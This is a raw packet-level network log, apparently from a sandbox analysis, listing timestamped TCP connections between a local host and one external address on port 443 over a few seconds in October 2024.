Oct 7, 2024 06:45:27.084023952 CEST	443	49730	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.084660053 CEST	49730	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.084696054 CEST	443	49730	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.084842920 CEST	49730	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.084852934 CEST	443	49730	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.142956018 CEST	443	49727	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.143115997 CEST	443	49727	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.143239975 CEST	49727	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.143450975 CEST	49727	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.143477917 CEST	443	49727	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.143517017 CEST	49727	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.143524885 CEST	443	49727	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.147094011 CEST	49731	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.147126913 CEST	443	49731	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.147245884 CEST	49731	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.147459030 CEST	49731	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.147478104 CEST	443	49731	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.151845932 CEST	443	49728	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.152009964 CEST	443	49728	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.152079105 CEST	49728	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.152122974 CEST	49728	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.152133942 CEST	443	49728	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.152154922 CEST	49728	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.152160883 CEST	443	49728	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.152826071 CEST	443	49726	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.152971029 CEST	443	49726	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.153044939 CEST	49726	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.153081894 CEST	49726	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.153100014 CEST	443	49726	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.153110027 CEST	49726	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.153115034 CEST	443	49726	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.154664040 CEST	49732	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.154690027 CEST	443	49732	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.154797077 CEST	49732	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.154901028 CEST	49732	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.154916048 CEST	443	49732	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.155446053 CEST	49733	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.155471087 CEST	443	49733	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.155539989 CEST	49733	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.155735970 CEST	49733	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.155747890 CEST	443	49733	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.176075935 CEST	443	49729	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.176146984 CEST	443	49729	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.176212072 CEST	49729	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.176422119 CEST	49729	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.176469088 CEST	443	49729	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.176497936 CEST	49729	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.176513910 CEST	443	49729	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.178880930 CEST	49734	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.178900003 CEST	443	49734	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.178983927 CEST	49734	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.179205894 CEST	49734	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.179214954 CEST	443	49734	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.189089060 CEST	443	49730	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.189224005 CEST	443	49730	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.189321995 CEST	49730	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.189402103 CEST	49730	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.189429998 CEST	443	49730	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.189454079 CEST	49730	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.189466953 CEST	443	49730	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.192136049 CEST	49735	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.192151070 CEST	443	49735	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.192233086 CEST	49735	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.192385912 CEST	49735	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.192406893 CEST	443	49735	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.787480116 CEST	443	49731	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.788139105 CEST	49731	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.788158894 CEST	443	49731	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.788779974 CEST	49731	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.788785934 CEST	443	49731	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.802386999 CEST	443	49733	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.802850008 CEST	49733	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.802876949 CEST	443	49733	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.803404093 CEST	49733	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.803409100 CEST	443	49733	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.817737103 CEST	443	49734	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.818382978 CEST	49734	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.818391085 CEST	443	49734	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.818687916 CEST	49734	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.818691969 CEST	443	49734	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.819521904 CEST	443	49732	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.819880962 CEST	49732	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.819911957 CEST	443	49732	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.820444107 CEST	49732	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.820451975 CEST	443	49732	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.844016075 CEST	443	49735	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.844454050 CEST	49735	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.844465017 CEST	443	49735	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.844896078 CEST	49735	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.844902992 CEST	443	49735	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.886848927 CEST	443	49731	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.887021065 CEST	443	49731	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.887087107 CEST	49731	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.887165070 CEST	49731	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.887172937 CEST	443	49731	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.887187004 CEST	49731	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.887191057 CEST	443	49731	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.901181936 CEST	443	49733	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.901338100 CEST	443	49733	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.901410103 CEST	49733	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.901709080 CEST	49733	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.901726961 CEST	443	49733	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.901738882 CEST	49733	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.901743889 CEST	443	49733	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.902446985 CEST	49736	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.902523041 CEST	443	49736	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.902609110 CEST	49736	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.902721882 CEST	49736	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.902739048 CEST	443	49736	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.905107021 CEST	49737	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.905180931 CEST	443	49737	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.905276060 CEST	49737	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.905385971 CEST	49737	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.905410051 CEST	443	49737	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.917753935 CEST	443	49734	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.917821884 CEST	443	49734	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.917881966 CEST	49734	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.918392897 CEST	49734	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.918406963 CEST	443	49734	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.918416977 CEST	49734	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.918422937 CEST	443	49734	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.921559095 CEST	49738	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.921571016 CEST	443	49738	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.921647072 CEST	49738	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.921900034 CEST	49738	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.921910048 CEST	443	49738	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.922697067 CEST	443	49732	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.922833920 CEST	443	49732	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.922903061 CEST	49732	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.922934055 CEST	49732	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.922950983 CEST	443	49732	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.922964096 CEST	49732	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.922971964 CEST	443	49732	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.924937010 CEST	49739	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.925004005 CEST	443	49739	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.925090075 CEST	49739	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.925193071 CEST	49739	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.925209999 CEST	443	49739	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.943537951 CEST	443	49735	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.943701029 CEST	443	49735	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.943761110 CEST	49735	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.943805933 CEST	49735	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.943811893 CEST	443	49735	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.943824053 CEST	49735	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.943830013 CEST	443	49735	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.946371078 CEST	49740	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.946419001 CEST	443	49740	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.946491957 CEST	49740	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.946671963 CEST	49740	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.946686029 CEST	443	49740	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.546766043 CEST	443	49737	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.547611952 CEST	49737	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.547631025 CEST	443	49737	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.548249006 CEST	49737	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.548254013 CEST	443	49737	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.553483009 CEST	443	49736	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.553925037 CEST	49736	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.553963900 CEST	443	49736	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.554486990 CEST	49736	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.554493904 CEST	443	49736	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.554888010 CEST	443	49738	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.555252075 CEST	49738	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.555263996 CEST	443	49738	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.555769920 CEST	49738	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.555773973 CEST	443	49738	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.564601898 CEST	443	49739	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.565009117 CEST	49739	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.565027952 CEST	443	49739	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.565581083 CEST	49739	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.565592051 CEST	443	49739	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.593900919 CEST	443	49740	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.606863976 CEST	49740	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.606914043 CEST	443	49740	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.607283115 CEST	49740	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.607289076 CEST	443	49740	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.645292997 CEST	443	49737	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.645459890 CEST	443	49737	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.645536900 CEST	49737	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.653909922 CEST	443	49736	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.654045105 CEST	443	49736	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.654129028 CEST	49736	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.654134989 CEST	443	49738	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.654258013 CEST	443	49738	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.654311895 CEST	49738	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.662889957 CEST	443	49739	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.663027048 CEST	443	49739	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.663101912 CEST	49739	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.679322958 CEST	49737	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.679347992 CEST	443	49737	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.679363012 CEST	49737	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.679369926 CEST	443	49737	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.688427925 CEST	49739	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.688427925 CEST	49739	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.688472986 CEST	443	49739	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.688499928 CEST	443	49739	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.689162016 CEST	49736	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.689176083 CEST	443	49736	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.689214945 CEST	49736	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.689229965 CEST	443	49736	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.689627886 CEST	49738	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.689634085 CEST	443	49738	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.689667940 CEST	49738	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.689673901 CEST	443	49738	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.692697048 CEST	49741	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.692785025 CEST	443	49741	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.692867994 CEST	49741	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.693907976 CEST	49742	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.693929911 CEST	443	49742	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.693994045 CEST	49742	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.694051981 CEST	49741	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.694083929 CEST	443	49741	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.694775105 CEST	49743	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.694832087 CEST	443	49743	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.694886923 CEST	49743	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.694972038 CEST	49743	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.694988012 CEST	443	49743	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.695452929 CEST	49744	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.695489883 CEST	443	49744	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.695540905 CEST	49744	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.695609093 CEST	49742	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.695635080 CEST	443	49742	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.695688963 CEST	49744	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.695699930 CEST	443	49744	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.703331947 CEST	443	49740	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.703496933 CEST	443	49740	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.703572035 CEST	49740	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.703597069 CEST	49740	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.703607082 CEST	443	49740	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.703644991 CEST	49740	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.703651905 CEST	443	49740	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.705225945 CEST	49745	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.705255032 CEST	443	49745	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:28.705327988 CEST	49745	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.705411911 CEST	49745	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:28.705423117 CEST	443	49745	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.328990936 CEST	443	49741	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.329557896 CEST	49741	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.329623938 CEST	443	49741	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.330168962 CEST	49741	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.330183983 CEST	443	49741	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.331141949 CEST	443	49743	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.331454039 CEST	49743	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.331489086 CEST	443	49743	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.331859112 CEST	49743	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.331866026 CEST	443	49743	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.345658064 CEST	443	49745	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.346143961 CEST	49745	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.346169949 CEST	443	49745	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.346575975 CEST	49745	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.346581936 CEST	443	49745	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.351275921 CEST	443	49742	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.351624012 CEST	49742	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.351632118 CEST	443	49742	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.352004051 CEST	49742	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.352009058 CEST	443	49742	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.376843929 CEST	443	49744	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.377222061 CEST	49744	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.377248049 CEST	443	49744	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.377582073 CEST	49744	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.377587080 CEST	443	49744	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.427515030 CEST	443	49741	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.427589893 CEST	443	49741	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.427675009 CEST	49741	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.427912951 CEST	49741	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.427933931 CEST	443	49741	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.427978992 CEST	49741	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.427985907 CEST	443	49741	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.428172112 CEST	443	49743	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.428256989 CEST	443	49743	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.428308964 CEST	49743	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.428371906 CEST	49743	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.428411007 CEST	443	49743	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.428432941 CEST	49743	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.428441048 CEST	443	49743	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.431200027 CEST	49746	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.431230068 CEST	49747	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.431242943 CEST	443	49746	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.431271076 CEST	443	49747	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.431317091 CEST	49746	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.431348085 CEST	49747	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.431495905 CEST	49747	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.431499004 CEST	49746	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.431509018 CEST	443	49747	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.431515932 CEST	443	49746	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.444499016 CEST	443	49745	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.444590092 CEST	443	49745	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.444643021 CEST	49745	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.444780111 CEST	49745	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.444792032 CEST	443	49745	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.444823027 CEST	49745	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.444829941 CEST	443	49745	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.447228909 CEST	49748	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.447273016 CEST	443	49748	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.447352886 CEST	49748	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.447525978 CEST	49748	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.447539091 CEST	443	49748	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.454334974 CEST	443	49742	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.454437017 CEST	443	49742	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.454502106 CEST	49742	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.454689026 CEST	49742	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.454689026 CEST	49742	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.454710960 CEST	443	49742	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.454731941 CEST	443	49742	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.456484079 CEST	49749	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.456511974 CEST	443	49749	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.456583023 CEST	49749	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.456708908 CEST	49749	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.456720114 CEST	443	49749	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.482069016 CEST	443	49744	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.482215881 CEST	443	49744	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.482331038 CEST	49744	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.482369900 CEST	49744	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.482369900 CEST	49744	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.482388020 CEST	443	49744	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.482398033 CEST	443	49744	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.484291077 CEST	49750	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.484301090 CEST	443	49750	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:29.484533072 CEST	49750	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.484533072 CEST	49750	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:29.484551907 CEST	443	49750	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.067929029 CEST	443	49746	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.068711996 CEST	49746	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.068734884 CEST	443	49746	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.069240093 CEST	49746	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.069247961 CEST	443	49746	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.071003914 CEST	443	49747	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.071386099 CEST	49747	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.071413994 CEST	443	49747	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.071574926 CEST	49747	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.071582079 CEST	443	49747	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.085232019 CEST	443	49748	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.085515022 CEST	49748	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.085577011 CEST	443	49748	13.107.246.45	192.168.2.8
